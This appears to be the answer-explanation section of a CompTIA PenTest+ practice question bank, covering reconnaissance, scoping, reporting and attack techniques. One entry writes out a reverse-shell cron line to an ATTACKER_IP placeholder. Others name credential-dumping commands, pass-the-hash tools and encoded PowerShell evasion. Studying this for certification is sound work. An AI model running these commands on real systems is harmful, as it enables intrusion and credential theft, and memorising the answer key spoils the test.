CompTIA PenTest+ (PT0-003) (PT0-003) — Questions 1–75

Nmap is the canonical tool for network discovery and security auditing because it actively crafts raw IP packets to determine which hosts are up and which ports are open on those hosts. It supports host discovery via ARP, ICMP, TCP ACK, and overhead protocols, and port scanning via techniques like SYN scan (-sS), TCP connect (-sT), and UDP scan (-sU), each of which sends controlled probes and interprets the responses. For example, a SYN-ACK reply indicates an open port, while an RST indicates closed or filtered depending on the context. Its ability to combine multi-layered probing and response analysis makes it the correct choice for this penetration testing stage.

This is the correct explanation: many scanners use simple keyword or regex matching against any page data returned after a test, so a generic database error such as 'Microsoft OLE DB Provider for SQL Server error '80040e14'' or 'supplied argument is not a valid MySQL result resource' triggers the SQL injection signature. The error may be generated by any malformed input or a natural application error, not by an actual SQLi flaw. This pattern is a classic source of false positives, especially with error-based detection that does not verify whether the payload actually altered the SQL query logic.

8.0 is correct because the DREAD model requires summing the numeric ratings for Damage Potential, Reproducibility, Exploitability, Affected Users, and Discoverability, then dividing by the number of categories (5) to obtain the average risk score. The calculated mean of the five category scores in this scenario equals 8.0, representing the overall severity of the vulnerability.

Malicious object deserialization is the correct detection; insecure deserialization occurs when an application deserializes untrusted data without validation. An attacker supplies a crafted serialized payload that, when reconstructed, instantiates dangerous classes or invokes magic methods (e.g., __wakeup, __destruct) as part of a gadget chain, leading to arbitrary code execution, denial of service, or privilege escalation. This directly matches the scenario of exploiting a web application by sending a specially crafted object.

The contract explicitly prohibits DoS testing, so performing a slowloris-style attack would breach the agreed scope. Requesting a scope change obtains written authorisation before any testing, keeping the engagement legal and within the rules of engagement.

This is the correct message because it directly addresses the inherent limitation of the assessment. Without cloud components, the test covers only a subset of the attack surface, so any conclusion about overall security posture would be premature. This communicates that on-prem findings must not be interpreted as an enterprise-wide risk assessment, and it sets expectations for follow-up work.

Since the script is world-writable and run as root, the tester can insert a reverse shell or other commands to gain root access when the cron job fires.

Adding an executive summary at the beginning that highlights critical risks and business impact is correct because it directly satisfies the CISO's request while preserving the technical depth below. This structure serves dual audiences: the executive summary translates vulnerabilities into business risk—using metrics like financial impact, regulatory exposure, or likelihood of exploitation—while the technical sections provide the evidence and remediation steps that engineers need. It follows the inverted-pyramid style recommended for penetration test reports and aligns with PTES and NIST SP 800-115 expectations, making it the definitive best practice.

The authoritative scope of an internet-facing web application test is the explicit enumeration of target URLs, hostnames, and IP address ranges. These values define the exact attack surface and legally authorize the tester to interact only with those endpoints, preventing accidental access to adjacent systems such as shared infrastructure or third-party services. This is the critical boundary document that all other test decisions rely on.

A return-to-libc (ret2libc) attack is correct because it bypasses DEP by reusing existing executable code from the C standard library instead of injecting instructions. Since ASLR is disabled, the base address of libc and the offset of the system() function are known, so the attacker can overwrite the saved return address with the address of system() and place a pointer to the string "/bin/sh" at the appropriate stack position to be interpreted as system()'s argument. This causes the process to call system("/bin/sh") directly from executable memory, completely avoiding the non-executable stack while achieving arbitrary command execution.

The Metasploit Framework is the correct choice because it is a dedicated exploitation framework with a large, continuously updated database of exploit modules, payloads, encoders, and post-exploitation tools. It allows a penetration tester to pair a specific exploit (e.g., a buffer overflow in a network service) with a compatible payload (e.g., Meterpreter reverse shell), then launch the attack and maintain interactive access to the compromised host. This workflow directly matches the task of exploiting a vulnerable service, encompassing both the delivery and the post-exploitation phases that standalone tools like Wireshark or Nmap lack.

crt.sh is a dedicated Certificate Transparency (CT) log search engine that aggregates and indexes certificates from multiple CT logs, allowing rapid lookups by domain, issuer, or serial number. It directly queries the CT framework's public, append-only logs via a web interface and API, making it the precise tool for checking which certificates have been issued for a domain, including your own. This is why it is the correct answer.

Notifying the software vendor immediately after discovery initiates the coordinated disclosure process, which is the industry-standard first step. The vendor can reproduce the vulnerability, identify affected versions, and begin developing a patch or workaround in a controlled environment. Early notification also allows the vendor to request a CVE identifier and prepare security advisories, ensuring that when details are finally public, mitigations are already available.

WPScan is a dedicated WordPress vulnerability scanner that enumerates installed plugins, themes and users, then checks them against known vulnerability databases and tests for weak credentials. Generic web scanners lack this WordPress-specific enumeration and detection logic.

SYN scan (-sS) sends a bare SYN packet to each port, and if a SYN/ACK is returned, the port is considered open; the scan then immediately replies with an RST to tear down the half-open connection before the handshake completes. This avoids creating a full TCP session, so the target application never sees a completed connection, making it far less likely to appear in application-level logs. Because it sends raw packets, it requires root or CAP_NET_RAW privileges, but it is the default and fastest scan type in Nmap. It is not completely invisible—stateful firewalls can still detect the unprompted SYN/ACK followed by RST—but it is significantly more stealthy than a full connect scan.

169.254.169.254 is the link-local address used by AWS, Azure and GCP instance metadata services. Reaching it via an unvalidated URL-fetch parameter demonstrates server-side request forgery, letting the tester retrieve IAM credentials and instance configuration from the cloud metadata endpoint.

Enumerating sequential IDs in URLs means iterating through predictable object identifiers, such as invoice numbers or user IDs, to see if the application grants unauthorized access to resources that belong to other users. This is a core IDOR testing technique because it directly targets the lack of proper authorization on direct object references. By successfully retrieving other users' records with only a changed integer, the tester proves the access-control flaw.

Immediately reporting the evidence to the client and recommending law enforcement is the only appropriate response once an active threat is discovered. This action aligns with the tester's ethical and contractual obligation to protect the client's interests and enables timely incident response, including containing the attack and preserving forensically sound evidence. Recommending law enforcement is crucial because the attacker is committing a crime, and the evidence collected may be admissible in court if chain of custody is maintained. The tester should also document all subsequent actions and communications to support the investigation.

LinkFinder parses JavaScript files with regular expressions to extract URL paths, relative endpoints and API routes embedded in client-side code, directly satisfying the requirement to enumerate endpoints. Unlike generic secret scanners, it targets endpoint discovery specifically, making it effective when reviewing minified or bundled JavaScript for hidden API surfaces.

Reconfiguring the staging environment to match production security controls—including network zones, Web Application Firewall rules, authentication flows, and security patches—creates representative test conditions without touching production. This approach lets the team conduct intrusive tests safely while generating findings that accurately reflect production's vulnerability posture, and it satisfies compliance by keeping regulated production data out of scope.

Personnel scope explicitly enumerates which individuals or employee groups—such as executives, IT administrators, or finance staff—are authorized targets for social engineering. It also dictates permissible attack vectors like email phishing, phone vishing, or physical tailgating, while ensuring the engagement remains within agreed ethical and legal boundaries. Without a defined personnel scope, testing could inadvertently target non-consenting individuals, violating rules of engagement and creating legal liability.

theHarvester is a passive OSINT tool that aggregates emails, subdomains, hostnames, and employee names from public data sources such as search engines, PGP key servers, and certificate transparency logs. It performs this collection without directly contacting the target servers, thus qualifying as passive reconnaissance. The gathered data helps penetration testers map an organization's external attack surface and identify potential entry points for social engineering or credential attacks.

pth-winexe is purpose-built for pass-the-hash: it takes an NTLM hash and uses it to authenticate over SMB via the MSRPC services interface, then creates a service to execute arbitrary commands. It modifies the SMB authentication flow to compute the NTLM response using the supplied hash directly, bypassing the need for a plaintext password. This makes it ideal for lateral movement, whereas the other tools either lack SMB-based hash authentication or serve a different phase of an attack.

Recommending a specific vendor version upgrade gives the client an actionable, verifiable fix for the identified Apache flaw. It names the exact target release, so the technical team can patch and confirm remediation rather than receive a vague instruction to harden the service.

Adding a clause that requires the client to whitelist the tester's MAC address in the NAC policy before testing is the correct approach because it authorizes the specific testing device while preserving the security posture for all other devices. NAC policies typically use MAC authentication or 802.1X to enforce compliance, and a pre-whitelisted MAC allows the tester's device to avoid the quarantined or blocked state that an unknown device would receive. This should be arranged in advance to prevent connectivity delays during the test window and is a standard, low-risk practice for authorized penetration testing engagements.

-sn performs host discovery only (ping sweep) without port scanning, meeting the requirement.

Many scanners check if the payload appears in the response (e.g., error messages containing SQL syntax). If the application echoes back the input without executing it, the scanner may misinterpret this as a successful injection.

The 405 (Method Not Allowed) status code specifically indicates that the requested resource exists, but the HTTP method used is not in its configured allowlist. The server's routing layer recognized the URI and rejected PUT, often because the endpoint is restricted to GET and POST. The response must include an Allow header enumerating permitted methods, so the tester should inspect that header to confirm PUT is blocked for this exact path, while it may be allowed elsewhere.

theHarvester queries public sources such as search engines, PGP key servers and certificate transparency logs to harvest domain names, email addresses and subdomains. This satisfies the passive constraint because it never sends traffic directly to the target's own systems.

Sanitization preserves the evidentiary value of the finding while removing or masking the most sensitive components, such as live credentials, PII, or PHI. Replacing real values with clearly labeled placeholders (e.g., username: <REDACTED>, token: [removed]) keeps the report useful for remediation and satisfies data minimization principles, significantly lowering the impact if the report is misplaced or intercepted.

The -A flag in Nmap is a convenience option that aggregates several detection features: it enables operating system detection (-O), version detection (-sV), default script scanning (-sC), and traceroute (--traceroute) in a single command. Rather than specifying each flag individually, -A gives a comprehensive profile of the target's OS, services, and network path, making it a common choice for initial reconnaissance during a penetration test.

Algorithm confusion (alg:none) is correct because it exploits a JWT library's failure to enforce that the algorithm specified in the token's header matches a secure, expected algorithm. By setting "alg" to "none", the attacker removes the signature entirely and submits a token with only the header and payload; vulnerable servers will trust the token as if it were signed. This attack is particularly successful when the server does not explicitly block the "none" algorithm or fails to validate the token's integrity when no signature is present.

An external black-box penetration test is the only option that matches both constraints: the tester operates from outside the network perimeter (external) and receives no architectural diagrams, credentials, or source code (black-box). This simulates a realistic external threat actor who must rely on OSINT, port scanning, and vulnerability discovery to gain an initial foothold. The client's requirement of 'no prior access' eliminates any internal vantage point or pre-supplied knowledge, making this the correct methodology.

PrintSpoofer is a local privilege escalation tool that exploits SeImpersonatePrivilege by creating a malicious named pipe and tricking the Print Spooler service into connecting to it, forcing a SYSTEM token to be impersonated. Unlike JuicyPotato, it relies on the printer spooler rather than COM objects, and it works on modern Windows versions (Windows 10/Server 2016+) where older Potato variants are mitigated. This makes it a direct, reliable method to escalate from an impersonating service account to SYSTEM.

Creating a cron job that executes a reverse shell is a valid Linux persistence technique. An attacker can add an entry such as `*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'` to the user's crontab or /etc/crontab, causing a reverse shell to be re-established every five minutes if it is killed. Using `@reboot` instead ensures the cron job runs once at system startup, providing persistence across reboots. This is a reliable, operational method that only requires write access to the appropriate crontab file.

The Rules of Engagement (RoE) explicitly define the authorized targets, including personnel, systems, and timeframes, and any deviation from those parameters is a scope violation. By directing phishing emails to out-of-scope individuals, the tester exceeded the documented authorization, which is precisely a failure to follow the RoE. This can invalidate the engagement's legal cover and expose the client or tester to liability.

The -sn switch, previously called -sP, disables port scanning and instructs Nmap to perform only host discovery, commonly known as a ping sweep. Nmap sends a mix of ICMP echo requests, TCP SYN to port 443, TCP ACK to port 80, and ICMP timestamp requests, and any positive response marks the host as alive. This is the fastest and quietest way to enumerate responsive systems on 192.168.1.0/24 without revealing which services are open.

WHOIS is a standard query/response protocol, usually over TCP port 43, that retrieves the authoritative registration record for a domain from the registry and registrar databases, including registrant and administrative contacts, creation/expiration timestamps, nameservers, and registrar identity. For a penetration tester, performing a passive WHOIS lookup during the information-gathering phase is the direct way to obtain domain registration details and can yield nameservers for later DNS enumeration or contact references for social engineering. Therefore, WHOIS is the correct answer because it specifically returns the registration information requested.

Immediately informing the client's point of contact is the mandatory first step when evidence of active exploitation is discovered during a penetration test. This triggers the client's incident response plan, enabling them to contain the threat, collect forensic evidence, and coordinate with law enforcement if necessary. The tester's responsibility is to provide accurate, timely intelligence about the observed activity, not to handle remediation independently.

This letter, commonly known as a 'get-out-of-jail-free' letter, explicitly authorizes the penetration tester to perform activities that would otherwise violate computer fraud and abuse laws. It provides prima facie evidence of consent from the client, protecting the tester from criminal prosecution for unauthorized access. Without this authorization, even a legitimate security test could be deemed illegal, so the letter is the primary legal safeguard for the tester.

Correct. SYN scan, version detection, and default scripts.

Staging environments replicate production with controlled data and no live users, so security tests can safely simulate attacks without impacting business operations. They allow for thorough testing of vulnerabilities like injection or authentication flaws in a realistic but isolated setting. Scoping to a staging environment reduces legal and operational risks while still validating security controls effectively.

Zone transfers use the AXFR query type to replicate an entire DNS zone. The server's allow-transfer ACL determines which IP addresses may request a full zone copy; when the tester's source IP is not in that list, the server typically responds with a REFUSED or 'Transfer failed' error while still answering normal recursive/authoritative queries, so the attempt appears blocked.

The Wayback Machine serves archived copies from its own infrastructure, so the tester retrieves historical HTML, headers and asset paths revealing CMS fingerprints and plugin directories without any packets reaching the target host, satisfying the no-alert constraint.

Mimikatz is a specialized post-exploitation tool built for credential extraction from Windows systems, famously accessing LSASS.exe process memory where Windows caches logon credentials to support single sign-on. With administrative privileges, commands like `sekurlsa::logonpasswords` can parse LSASS memory to recover cleartext passwords, NTLM hashes, Kerberos tickets, and PINs. This direct memory-extraction capability makes Mimikatz the correct tool for the scenario described.

Sending an ICMPv6 echo request to the link-local all-nodes multicast address ff02::1 is an efficient active discovery method because every IPv6 host must join the ff02::1 group on its interface. When a host receives the multicast ping, it replies with its link-local address, allowing the tester to quickly enumerate active nodes on the segment. This technique is analogous to IPv4 broadcast ping but is more precise in IPv6, though some firewalls may suppress echo replies, and the results are limited to the local link.

The -sS TCP SYN half-open scan sends a SYN, reads the SYN-ACK, then tears down with RST before the connection completes. Because no session is established, most application and host logging never records it, satisfying the stem's stealth requirement.

Kerberoasting is the correct technique because it targets service accounts by requesting TGS tickets for SPNs. The TGS ticket includes an encrypted segment that is encrypted with the service account's NTLM hash, allowing an attacker to extract these tickets and crack them offline using dictionary or brute-force attacks to recover the plaintext password. This directly aligns with the scenario of capturing a Kerberos ticket for offline cracking.

The $_GET['user'] value is concatenated directly into the SQL string without parameterisation or escaping, so an attacker can inject SQL syntax through the user parameter. This is classic SQL injection, allowing query manipulation or data exfiltration.

Non-technical management need business risk framing, not exploit detail. A high-level summary stating business impact plus a recommended remediation timeline conveys severity and urgency in terms they can act on, satisfying the stem's non-technical audience constraint.

Conducting a vulnerability assessment first and then manually validating each finding is the industry-standard approach (e.g., PTES and NIST SP 800-115). The scanner provides broad coverage of known vulnerabilities, while manual testing eliminates false positives, tests for exploitability, and uncovers the business logic and chaining issues that automated tools cannot detect. This combination lets the tester produce a prioritized, risk-based report that meets the client's penetration testing objective, rather than just a list of potential flaws.

PrintSpoofer is the correct choice because it directly abuses SeImpersonatePrivilege by creating a named pipe and then coercing a SYSTEM-level process, typically the print spooler, to connect to it. Once the connection occurs, the tool impersonates the SYSTEM token from the named pipe connection, allowing the attacker to spawn a new process as SYSTEM. This is a textbook token impersonation attack, not a kernel exploit, making it the precise tool for the described privilege escalation attempt.

Responder is a purpose-built tool for LLMNR, NBT-NS, and mDNS poisoning. It listens for broadcast name resolution requests and answers them, causing clients to send their NTLMv1/v2 authentication challenges to the attacker's machine. By doing so, it directly captures the NTLM hashes from the challenge-response handshake, making it the correct tool for this task.

theHarvester is the correct answer because it is a dedicated OSINT tool engineered to passively gather emails, subdomains, hostnames, and employee names from public sources. It queries search engines like Bing and Google, PGP key servers, and other open data repositories, making it ideal for the early reconnaissance phase of a penetration test. Its specific focus on email harvesting and subdomain enumeration aligns precisely with the task of gathering information about an organization's digital footprint, unlike general-purpose scanners or link-analysis platforms.

Adding a conditional in the bash script to check for HTTP 302 or 200 and then printing the credentials directly automates the success detection. In web applications, a login form often responds with a 302 redirect to the authenticated user's dashboard upon success, or 200 with the post-login page; unsuccessful attempts typically return 401, 403, or 200 with an error message in the body. By capturing the status code with curl -w '%{http_code}' and comparing it in an if statement, the script can immediately isolate valid credential pairs from the noise, turning raw output into actionable findings.

The Rules of Engagement document records the agreed scope, IP ranges, testing windows and emergency stop conditions between tester and client. It satisfies the pre-engagement requirement by formalising these authorisation and boundary details before testing begins, distinct from the statement of work or NDA.

Testing a third-party API without explicit written authorization from the vendor violates legal boundaries such as the Computer Fraud and Abuse Act (CFAA) and the vendor's terms of service, even if the client holds API credentials. The penetration tester must ensure the scope of work includes a signed authorization from the vendor, specifying the exact systems, time window, and test types permitted, to protect both the tester and the client from liability. Without this, the engagement is technically an unauthorized intrusion, and any findings would be inadmissible or could lead to legal action against the tester.

dnsrecon is a dedicated DNS enumeration tool that can query name servers for records such as MX, NS, and A, and can attempt zone transfers and brute-force subdomains. It works without credentials and is designed for the exact task of DNS reconnaissance, making it the most appropriate choice for identifying mail servers and subdomains.

An executive summary that highlights key risks and business impact is the correct choice because it translates technical findings into the language of business, focusing on potential financial, operational, and reputational consequences. This concise overview helps non-technical decision-makers understand the urgency and allocate resources appropriately, without needing to sift through exploit details. It is the top section of a pentest report, setting the tone and driving strategic action.

Correct. An unauthenticated critical scanner finding must be preserved in the report, but its severity should be contextually adjusted to reflect actual exploitability. Because the vulnerable service is disabled and not reachable, the CVSS base score overstates the real risk; the report should explicitly document the service's disabled state and network isolation to justify a lower residual risk rating while retaining the evidence.

The LM hash algorithm truncates the password to 14 characters and splits it into two 7-character halves. Each half is independently DES-encrypted with a constant key, so an attacker can brute-force each 7-character segment separately rather than attacking a 14-character password. This splitting reduces the effective keyspace from 95^14 to approximately 2 * 95^7, which is trivially small for modern offline cracking tools.

Correct. Burp acts as a man-in-the-middle for HTTPS by generating a certificate for each site signed by its own CA. The browser's trust store must contain the Burp CA certificate, or it will reject the connection.

PrintSpoofer is a well-known privilege escalation tool on Windows that exploits the SeImpersonatePrivilege typically held by service accounts. It leverages the Print Spooler's named pipe to trick a high-privileged process (SYSTEM) into connecting to a malicious pipe server, allowing the attacker to impersonate the SYSTEM token. This technique directly abuses token impersonation, making it the correct answer for a compromised user account with such privileges.

The potential for data breach and financial loss directly addresses the business impact that drives executive decision-making. This option frames the vulnerability in terms of material consequences, such as compliance fines, litigation, and customer turnover, which are the primary concerns for leadership. It aligns the summary's content with the audience's strategic perspective, making the risk tangible and actionable at the board level.

Each finding must include a clear, actionable remediation plan that gives the client specific commands, code patches, or configuration changes to eliminate the vulnerability. For example, a SQL injection finding should include parameterized query code, and an Apache issue should show the revised configuration directives. This is a core requirement of a professional pentest report because it transforms a security flaw from a technical warning into a practical to-do item.

Arjun discovers hidden API parameters and endpoints through its extensive wordlists and passive/active scanning, while ffuf fuzzes directories, parameters and virtual hosts at high speed. Together they satisfy the stem's need to uncover endpoints and hidden parameters in a web application.

Insecure deserialization is the correct answer because the code likely invokes readObject() on an ObjectInputStream constructed from untrusted input. Attackers can craft a malicious serialized object that, when deserialized, triggers arbitrary code execution through gadget chains in the application's classpath. Java's default deserialization mechanism does not validate the object's class or state, allowing an attacker to exploit this trust boundary. The vulnerability is especially dangerous when the application does not use look-ahead object filtering or allowlist-based class checks before deserializing data.

WMIExec authenticates over DCOM/RPC using valid domain credentials, executing commands remotely via Win32_Process without needing SMB write access or a service install. Against a domain controller, this satisfies the stem's credential-based lateral movement constraint, since the compromised low-privileged user's valid credentials drive the remote execution.

The Rules of Engagement (RoE) is the authoritative contract section that legally defines the testing boundaries, including authorized systems, testing windows, and explicit scope exclusions. Because it establishes the formal limits of what the penetration tester may access and perform, any out-of-scope assets or prohibited techniques must be documented here to prevent misunderstandings and legal liability. This makes the RoE the only correct location for recording scope exclusions.

Scope changes require formal approval before testing continues, so documenting the request and escalating it to both client and management preserves authorisation boundaries. This satisfies reporting and communication best practise, preventing unauthorised testing of the exposed internal application.

Because 'less' runs as root via sudo without a password, its interactive '!' command spawns a shell inheriting root privileges. This satisfies the privilege-escalation constraint: GTFOBins-style abuse of a permitted binary, rather than exploiting a kernel or misconfigured file permission.

The Executive Summary translates technical findings into business risk, giving the CISO a concise view of overall security posture and critical exposures. This satisfies the audience constraint: the CISO needs strategic risk context, not the granular exploitation detail found in technical findings sections.

Responder is a dedicated network-based attack tool that spoofs name resolution by sending malicious responses to LLMNR, NBT-NS, and mDNS queries. When a host tries to resolve a non-existent name, Responder answers and forces the client to authenticate to it, capturing NTLMv1/v2 challenge-response hashes in the process. These hashes are then offline-crackable or can be forwarded to ntlmrelayx for relay attacks, making Responder the standard tool for this initial hash-capture poisoning phase.

PowerShell natively supports Base64-encoded commands via the `-EncodedCommand` parameter, which takes a UTF-16LE Base64 string, decodes it, and executes the resulting command. This allows an attacker to transmit a fully obfuscated payload that evades filters that scan for suspicious keywords or special characters like semicolons or brackets, because the entire command is encoded. The encoding is transparent to PowerShell, so no additional decode step is needed, making it a reliable bypass in command injection scenarios.

theHarvester is a passive OSINT tool that aggregates publicly accessible information from third-party sources such as search engines, PGP key servers, and certificate transparency logs to collect email addresses, subdomains, hosts, and employee names for a given domain. It never sends packets directly to the target's own infrastructure, so it does not trigger target-side monitoring or violate the passive reconnaissance constraint. Its value lies in building a pre-attack picture of the attack surface from information already available on the internet, making it ideal for the passive phase.